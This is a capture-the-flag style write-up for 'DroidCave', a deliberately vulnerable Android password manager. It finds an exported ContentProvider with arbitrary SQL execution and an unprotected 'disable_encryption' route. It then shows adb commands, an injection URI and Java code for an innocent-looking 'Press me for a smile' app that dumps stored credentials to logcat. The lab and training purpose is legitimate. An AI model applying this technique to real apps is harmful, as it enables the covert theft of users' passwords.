DroidCave Challenge 4

Overview

DroidCave is a password management solution for Android users. It stores all your credentials in one secure location with military-grade encryption. Users can create categories, generate strong passwords, and access their favorite sites with just one tap.

Objective

Create a malicious application that demonstrates SQL injection and IPC mechanism exploitation to steal passwords stored in DroidCave, even when the user has enabled password encryption in the settings. The goal is to develop an Android application with an innocent appearance that can, with just one click of a seemingly normal button, extract both plaintext passwords and the decrypted form of encrypted passwords from the DroidCave database.

The PoC Android exploit APK must work on Android versions up to Android 15 and should not require any additional permissions that the user must explicitly grant.

Jadx-gui

Using jadx-gui, the following vulnerabilities were discovered:

1. Looking at the `AndroidManifest.xml` the `PasswordContentProvider` content provider stood out as a potential target:

```
        <provider

android:name="com.eightksec.droidcave.provider.PasswordContentProvider"
            android:exported="true"
            android:authorities="com.eightksec.droidcave.provider"
            android:grantUriPermissions="true"/>
```

2. In the `PasswordContentProvider`, the following `AUTHORITY` string was declared along with the different operation codes for the content provider. Additionally, the URI paths for disable and enable encryption were declared too.

```
    public static final String AUTHORITY =
"com.eightksec.droidcave.provider";
    private static final int CODE_DISABLE_ENCRYPTION = 7;
    private static final int CODE_ENABLE_ENCRYPTION = 8;
    private static final int CODE_EXECUTE_SQL = 5;
    private static final int CODE_PASSWORDS_DIR = 1;
    private static final int CODE_PASSWORD_ITEM = 2;
    private static final int CODE_PASSWORD_SEARCH = 3;
    private static final int CODE_PASSWORD_TYPE = 4;
```

```
    private static final int CODE_SETTINGS = 6;
    private static final int CODE_SET_PASSWORD_PLAINTEXT = 9;

    private static final String PATH_DISABLE_ENCRYPTION =
"disable_encryption";
    private static final String PATH_ENABLE_ENCRYPTION =
"enable_encryption";
```

3. A static initializer in `PasswordContentProvider` wired the URI paths to the appropriate IDs.

```
    static {
        UriMatcher uriMatcher = new UriMatcher(-1);
        MATCHER = uriMatcher;
        uriMatcher.addURI(AUTHORITY, "passwords", 1);
        uriMatcher.addURI(AUTHORITY, "passwords/#", 2);
        uriMatcher.addURI(AUTHORITY, "password_search/*", 3);
        uriMatcher.addURI(AUTHORITY, "password_type/*", 4);
        uriMatcher.addURI(AUTHORITY, "execute_sql/*", 5);
        uriMatcher.addURI(AUTHORITY, "settings/*", 6);
        uriMatcher.addURI(AUTHORITY, PATH_DISABLE_ENCRYPTION, 7);
        uriMatcher.addURI(AUTHORITY, PATH_ENABLE_ENCRYPTION, 8);
        uriMatcher.addURI(AUTHORITY, "set_password_plaintext/*/*", 9);
    }
```

4. In `PasswordContentProvider::query()`, the `passwords` route maps to `case 1` and queries the `passwords` table. When invoked without a projection or selection, all available columns and password records are returned.

```
            case 1:
              SupportSQLiteDatabase supportSQLiteDatabase5 = null;
              SupportSQLiteQueryBuilder supportSQLiteQueryBuilderBuilder
= SupportSQLiteQueryBuilder.INSTANCE.builder("passwords");
              supportSQLiteQueryBuilderBuilder.columns(projection);
              if (selection != null) {
                  supportSQLiteQueryBuilderBuilder.selection(selection,
selectionArgs);
              }
              supportSQLiteQueryBuilderBuilder.orderBy(sortOrder == null
? "name ASC" : sortOrder);
              SupportSQLiteDatabase supportSQLiteDatabase6 =
this.database;
              if (supportSQLiteDatabase6 == null) {

Intrinsics.throwUninitializedPropertyAccessException("database");
              } else {
                  supportSQLiteDatabase5 = supportSQLiteDatabase6;
              }
```

```
                return
supportSQLiteDatabase5.query(supportSQLiteQueryBuilderBuilder.create());
```

5. In `PasswordContentProvider::query()`, the `execute_sql/*` route maps to `case 5`. The provider obtains the final URI path segment with `uri.getLastPathSegment()` and passes the resulting attacker-controlled string directly to `SupportSQLiteDatabase.query()` without validation or parameterization. This allows an external caller to supply an arbitrary SQL query through the exported ContentProvider.

```
            case 5:
              SupportSQLiteDatabase supportSQLiteDatabase13 = null;
              String lastPathSegment4 = uri.getLastPathSegment();
              if (lastPathSegment4 == null) {
                  lastPathSegment4 = "";
              }
              try {
                  SupportSQLiteDatabase supportSQLiteDatabase14 =
this.database;
                  if (supportSQLiteDatabase14 == null) {

Intrinsics.throwUninitializedPropertyAccessException("database");
                  } else {
                      supportSQLiteDatabase13 = supportSQLiteDatabase14;
                  }
                  return supportSQLiteDatabase13.query(lastPathSegment4);
              } catch (Exception e) {
                  Log.e("PasswordProvider", "SQL Error: " +
e.getMessage(), e);
                  MatrixCursor matrixCursor5 = new MatrixCursor(new
String[]{"error"});
                  matrixCursor5.addRow(new String[]{"SQL Error: " +
e.getMessage()});
                  return matrixCursor5;
              }
```

Because `PasswordContentProvider` is exported and does not require a permission, another application can access this route through `ContentResolver.query()`. For example, the caller supplies a URI beginning with: `content://com.eightksec.droidcave.provider/execute_sql/...`. Android routes the request through Binder IPC to DroidCave's `PasswordContentProvider`. The provider's `UriMatcher` matches the `execute_sql/*` path and returns code `5`, causing case 5 of `query()` to execute. The SQL statement contained in the final URI path segment is then executed against DroidCave's private database. The resulting rows are returned to the calling application through a `Cursor`.

Verification of Analysis

Querying the ContentProvider with the Android content shell utility shows that the `passwords` route is listed as a blob even when the field is decrypted. The SQL injection route can be used to return the

password BLOB as text instead.

1. Query the `passwords` route

```
adb shell content query \
  --uri content://com.eightksec.droidcave.provider/passwords
```

Result: the `password` column is returned as a BLOB and `isEncrypted` is 1:

```
Row: 0 id=1, name=Bank of America, username=joe_p, password=BLOB,
url=https://bankofamerica.com, notes=checking account, type=LOGIN,
isFavorite=0, createdAt=1789316883328, updatedAt=1789317110448,
isEncrypted=1
Row: 1 id=2, name=Gmail, username=joe_p100, password=BLOB,
url=https://gmail.google.com, notes=NULL, type=LOGIN, isFavorite=0,
createdAt=1789317040486, updatedAt=1789317110450, isEncrypted=1
```

2. Trigger decryption externally:

```
adb shell content query \
  --uri content://com.eightksec.droidcave.provider/disable_encryption
```

Result: Passwords decrypted.

```
Row: 0 result=Encryption disabled and 2 passwords successfully decrypted.
```

3. Query the `passwords` route again:

```
adb shell content query \
  --uri content://com.eightksec.droidcave.provider/passwords
```

Result: The `password` is still listed as a blob and `isEncrypted` is 0.

```
Row: 0 id=1, name=Bank of America, username=joe_p, password=BLOB,
url=https://bankofamerica.com, notes=checking account, type=LOGIN,
isFavorite=0, createdAt=1789316883328, updatedAt=1789317110448,
isEncrypted=0
Row: 1 id=2, name=Gmail, username=joe_p100, password=BLOB,
url=https://gmail.google.com, notes=NULL, type=LOGIN, isFavorite=0,
createdAt=1789317040486, updatedAt=1789317110450, isEncrypted=0
```

4. Use the SQL injection route to reinterpret the password bytes as text:

> **Note:** When querying the ContentProvider with the Android content shell utility, the SQL has to be percent-encoded because it's being transported in a URI path segment.

```
adb shell content query \
--uri
'content://com.eightksec.droidcave.provider/execute_sql/SELECT%20id%2C%20name%2C%20username%2C%20url%2C%20CAST%28password%20AS%20TEXT%29%20AS%20password%2C%20isEncrypted%20FROM%20passwords'
```

Result: Success. Passwords are shown in plaintext.

```
Row: 0 id=1, name=Bank of America, username=joe_p,
url=https://bankofamerica.com, password=secreatpassword, isEncrypted=0
Row: 1 id=2, name=Gmail, username=joe_p100, url=https://gmail.google.com,
password=Passw0rd!, isEncrypted=0
```

Exploit Design

The exploit design is straightforward. Trigger the decryption route `disable_encryption` and then send the following SQL query through the SQL injection route:

```
SELECT id, name, username, url, CAST(password AS TEXT) AS password, isEncrypted
FROM passwords;
```

The PoC presents an innocent “Press me for a smile” button. A single button press triggers both provider operations and displays the smile while the recovered credentials are written to logcat. The PoC requests no runtime permissions.

Exploit Code

The following code highlights the exploit process.

AndroidManifest.xml

Android 11 introduced package visibility restrictions. The PoC declares DroidCave in the manifest's `<queries>` element so the target package is visible to the application.

```
    <queries>
        <package android:name="com.eightksec.droidcave"/>
    </queries>
```

`MainActivity.java`

When the button is clicked `doDroidCaveWork()` is called which then calls its helper function `doQuery()` for both queries.

The disable_encryption route performs the actual decryption. CAST(password AS TEXT) does not decrypt the password; it causes SQLite to return the already-decrypted UTF-8 bytes stored in the BLOB column as text.

```
    private void doDroidCaveWork() {
        Log.d(TAG, "================================================");
        Log.d(TAG, "Button clicked - Do Exploit");
        Log.d(TAG, "================================================");

        Log.d(TAG, "================================================");
        Log.d(TAG, "Disable encryption");
        Log.d(TAG, "================================================");

        Uri disableEncryptionUri = new Uri.Builder()
                .scheme("content")
                .authority(AUTHORITY)
                .appendPath("disable_encryption")
                .build();

        doQuery(disableEncryptionUri);

        Log.d(TAG, "================================================");
        Log.d(TAG, "SQL Injection to read all passwords");
        Log.d(TAG, "================================================");

        String sql =
                "SELECT id, name, username, url, " +
                        "CAST(password AS TEXT) AS password, " +
                        "isEncrypted FROM passwords";

        Uri sqlUri = new Uri.Builder()
                .scheme("content")
                .authority(AUTHORITY)
                .appendPath("execute_sql")
                .appendPath(sql)
                .build();

        doQuery(sqlUri);
    }

    private void doQuery(Uri uri) {
        try (Cursor cursor = getContentResolver().query(
                uri,
                null,
                null,
                null,
                null)) {
```

```
            if (cursor == null) {
                Log.d(TAG, "Query returned a null cursor");
                return;
            }

            while (cursor.moveToNext()) {
                for (int i = 0; i < cursor.getColumnCount(); i++) {
                    String name = cursor.getColumnName(i);
                    String value = cursor.getString(i);

                    Log.d(TAG, name + " = " + value);
                }
            }
        }
    }
```

Exploitation Process

Install the victim app on a non-rooted emulator - Pixel 8 API 35 device:

```
adb install -r -g -t DroidCave.apk
```

Install the exploit app on the non-rooted emulator:

```
adb install -r -t exploit-debug.apk
```

Run logcat with the tag EXPLOIT:

```
adb logcat -s EXPLOIT
```

Next, click the exploit app to start up and click the button `Press me for a smile`.

Successful Result

```
% adb logcat -s EXPLOIT
--------- beginning of main
09-13 17:02:11.026  3182  3182 D EXPLOIT :
================================================
09-13 17:02:11.026  3182  3182 D EXPLOIT : Button clicked - Do Exploit
09-13 17:02:11.026  3182  3182 D EXPLOIT :
================================================
09-13 17:02:11.026  3182  3182 D EXPLOIT :
================================================
09-13 17:02:11.026  3182  3182 D EXPLOIT : Disable encryption
09-13 17:02:11.026  3182  3182 D EXPLOIT :
```

```
================================================
09-13 17:02:11.110  3182  3182 D EXPLOIT : result = Encryption disabled and
2 passwords successfully decrypted.
09-13 17:02:11.111  3182  3182 D EXPLOIT :
================================================
09-13 17:02:11.111  3182  3182 D EXPLOIT : SQL Injection to read all
passwords
09-13 17:02:11.111  3182  3182 D EXPLOIT :
================================================
09-13 17:02:11.112  3182  3182 D EXPLOIT : id = 1
09-13 17:02:11.113  3182  3182 D EXPLOIT : name = Bank of America
09-13 17:02:11.113  3182  3182 D EXPLOIT : username = joe_p
09-13 17:02:11.113  3182  3182 D EXPLOIT : url = https://bankofamerica.com
09-13 17:02:11.113  3182  3182 D EXPLOIT : password = secreatpassword
09-13 17:02:11.113  3182  3182 D EXPLOIT : isEncrypted = 0
09-13 17:02:11.113  3182  3182 D EXPLOIT : id = 2
09-13 17:02:11.113  3182  3182 D EXPLOIT : name = Gmail
09-13 17:02:11.113  3182  3182 D EXPLOIT : username = joe_p100
09-13 17:02:11.113  3182  3182 D EXPLOIT : url = https://gmail.google.com
09-13 17:02:11.113  3182  3182 D EXPLOIT : password = Passw0rd!
09-13 17:02:11.113  3182  3182 D EXPLOIT : isEncrypted = 0
```